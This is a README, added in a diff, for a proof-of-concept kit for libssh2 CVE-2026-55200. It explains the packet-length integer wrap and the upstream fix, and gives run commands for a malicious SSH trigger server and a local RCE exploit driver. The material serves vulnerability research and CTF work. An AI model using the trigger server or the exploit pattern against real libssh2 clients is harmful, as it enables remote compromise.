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libssh2-cve-2026-55200-poc/README.md

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+# libssh2 CVE-2026-55200 PoC and local RCE scaffold
+
+This directory contains local research artifacts for CVE-2026-55200, an unchecked SSH `packet_length` condition in libssh2's `ssh2_transport_read()` transport parser path.
+
+Research status: arithmetic verifier, encrypted SSH trigger scaffold, and controlled local RCE harness verified.
+
+## Summary
+
+libssh2 through 1.11.1 accepted an attacker-controlled SSH packet length in one full-packet decryption path without first enforcing the RFC-sized libssh2 packet maximum.
+
+The vulnerable source shape is:
+
+```text
+total_num = 4
+packet_length = decoded SSH packet_length field
+reject only if packet_length < 1
+total_num += packet_length + mac_len + auth_len
+reject if total_num > 35000 or total_num == 0
+allocate total_num bytes
+```
+
+With `packet_length=0xffffffff`, `mac_len=0`, and `auth_len=16`, the vulnerable C expression can produce allocation size `19`:
+
+```text
+packet_length + mac_len + auth_len == 15  modulo 2^32
+4 + 15 == 19
+```
+
+The original `packet_length` remains `0xffffffff`. Later full-packet processing can still use packet-length-derived sizes, including a `packet_length - 1` style length, after the allocation decision has already been made.
+
+The upstream fix rejects `packet_length > LIBSSH2_PACKET_MAXPAYLOAD` before the addition.
+
+## Files
+
+- `poc/cve_2026_55200_probe.c` - standalone C11 arithmetic verifier.
+- `poc/libpwn_cve_2026_55200_server.py` - minimal malicious SSH server/trigger scaffold.
+- `poc/libpwn_local_rce_harness.c` - controlled local vulnerable target modeling the wrapped allocation-to-control pattern.
+- `poc/libpwn_local_rce_exploit.py` - local exploit driver that overwrites the harness callback and creates an RCE proof file.
+- `evidence/2026-06-23-local-harness-output.txt` - earlier arithmetic verifier evidence.
+
+## Affected Source Path
+
+The affected path is in:
+
+```text
+src/transport.c:ssh2_transport_read()
+```
+
+The fix is upstream commit:
+
+```text
+97acf3dfda80c91c3a8c9f2372546301d4a1a7a8
+```
+
+The relevant fix adds a `packet_length > LIBSSH2_PACKET_MAXPAYLOAD` guard before the vulnerable addition in the full-packet path.
+
+## Arithmetic Verifier
+
+Linux, macOS, WSL, or MinGW:
+
+```bash
+gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe poc/cve_2026_55200_probe.c
+./cve_2026_55200_probe
+```
+
+Windows PowerShell with MinGW:
+
+```powershell
+gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe.exe .\poc\cve_2026_55200_probe.c
+.\cve_2026_55200_probe.exe
+```
+
+Useful modes:
+
+```bash
+./cve_2026_55200_probe --benign
+./cve_2026_55200_probe --native
+./cve_2026_55200_probe --check
+./cve_2026_55200_probe --packet-length 0xffffffff --mac-len 0 --auth-len 16
+```
+
+Expected default proof condition:
+
+```text
+vulnerable32_decision=accepted
+vulnerable32_allocation=19
+fixed32_decision=rejected: out of boundary
+native_unpatched_decision=accepted
+native_note=source-shaped integer expression wraps before assignment into 64-bit size_t
+result=PASS
+```
+
+## Malicious SSH Trigger Scaffold
+
+Local crypto and arithmetic self-test:
+
+```bash
+python poc/libpwn_cve_2026_55200_server.py --self-test
+```
+
+Loopback test for the minimal SSH handshake, key derivation, server-to-client sequence number, and encrypted trigger:
+
+```bash
+python poc/libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
+```
+
+Run as a one-shot malicious server for a challenge client:
+
+```bash
+python poc/libpwn_cve_2026_55200_server.py --serve --listen-host 0.0.0.0 --listen-port 2222
+```
+
+Change `--listen-host` and `--listen-port` for your lab instance. The top of the script also leaves:
+
+```python
+HOST = ""
+PORT = 0
+```
+
+intentionally open.
+
+The server negotiates `curve25519-sha256`, RSA host key auth, and `chacha20-poly1305@openssh.com`, then sends a malformed encrypted server-to-client packet whose decrypted SSH `packet_length` is `0xffffffff`.
+
+## Controlled Local RCE Harness
+
+Build the local vulnerable target:
+
+```bash
+gcc -O0 -g -Wall -Wextra -o poc/libpwn_local_rce_harness poc/libpwn_local_rce_harness.c
+```
+
+Windows PowerShell with MinGW:
+
+```powershell
+gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c
+```
+
+Run the local exploit driver:
+
+```bash
+python poc/libpwn_local_rce_exploit.py --harness ./poc/libpwn_local_rce_harness --proof ./poc/libpwn_rce_proof.txt
+cat poc/libpwn_rce_proof.txt
+```
+
+Windows PowerShell:
+
+```powershell
+python poc\libpwn_local_rce_exploit.py
+Get-Content poc\libpwn_rce_proof.txt
+```
+
+Expected proof:
+
+```text
+RCE_PROOF=PASS
+libpwn-rce-verified
+```
+
+The harness proves local command execution by overflowing from the modeled 19-byte allocation state into a callback pointer and creating `libpwn_rce_proof.txt`.
+
+## 64-bit Note
+
+A 64-bit Linux target is still plausible for this trigger. In the unpatched libssh2 source, the vulnerable branch computes `packet_length + mac_len + auth_len` from 32-bit/integer operands before adding that result into `size_t`, so `0xffffffff + 0 + 16` wraps to `15` and then `4 + 15` becomes allocation size `19`.
+
+## Verification Status
+
+Verified locally:
+
+```powershell
+python poc\libpwn_cve_2026_55200_server.py --self-test
+python poc\libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
+gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c
+python poc\libpwn_local_rce_exploit.py
+python -m py_compile poc\libpwn_cve_2026_55200_server.py poc\libpwn_local_rce_exploit.py
+```
+
+## Limits
+
+`libpwn_cve_2026_55200_server.py` is a locally verified CVE trigger/scaffold. Turning it into a reliable challenge-specific flag-read/RCE chain still depends on the target binary, allocator behavior, mitigations, and how the challenge invokes libssh2.
+
+`libpwn_local_rce_harness.c` is a controlled proof target, not a universal exploit for every libssh2 deployment. It demonstrates the exploit pattern that a CTF/HTB service still needs to match or be adapted to.
+
+## References
+
+- CVE record: `https://www.cve.org/CVERecord?id=CVE-2026-55200`
+- NVD entry: `https://nvd.nist.gov/vuln/detail/CVE-2026-55200`
+- Upstream fix: `https://github.com/libssh2/libssh2/commit/97acf3dfda80c91c3a8c9f2372546301d4a1a7a8`
+- Upstream PR: `https://github.com/libssh2/libssh2/pull/2052`
+- VulnCheck advisory: `https://www.vulncheck.com/advisories/libssh2-out-of-bounds-write-via-unchecked-packet-length-in-transport-c`
+
+## Responsible Use
+
+Run these PoCs only against local research targets, owned systems, or explicitly authorized lab/CTF/HTB instances.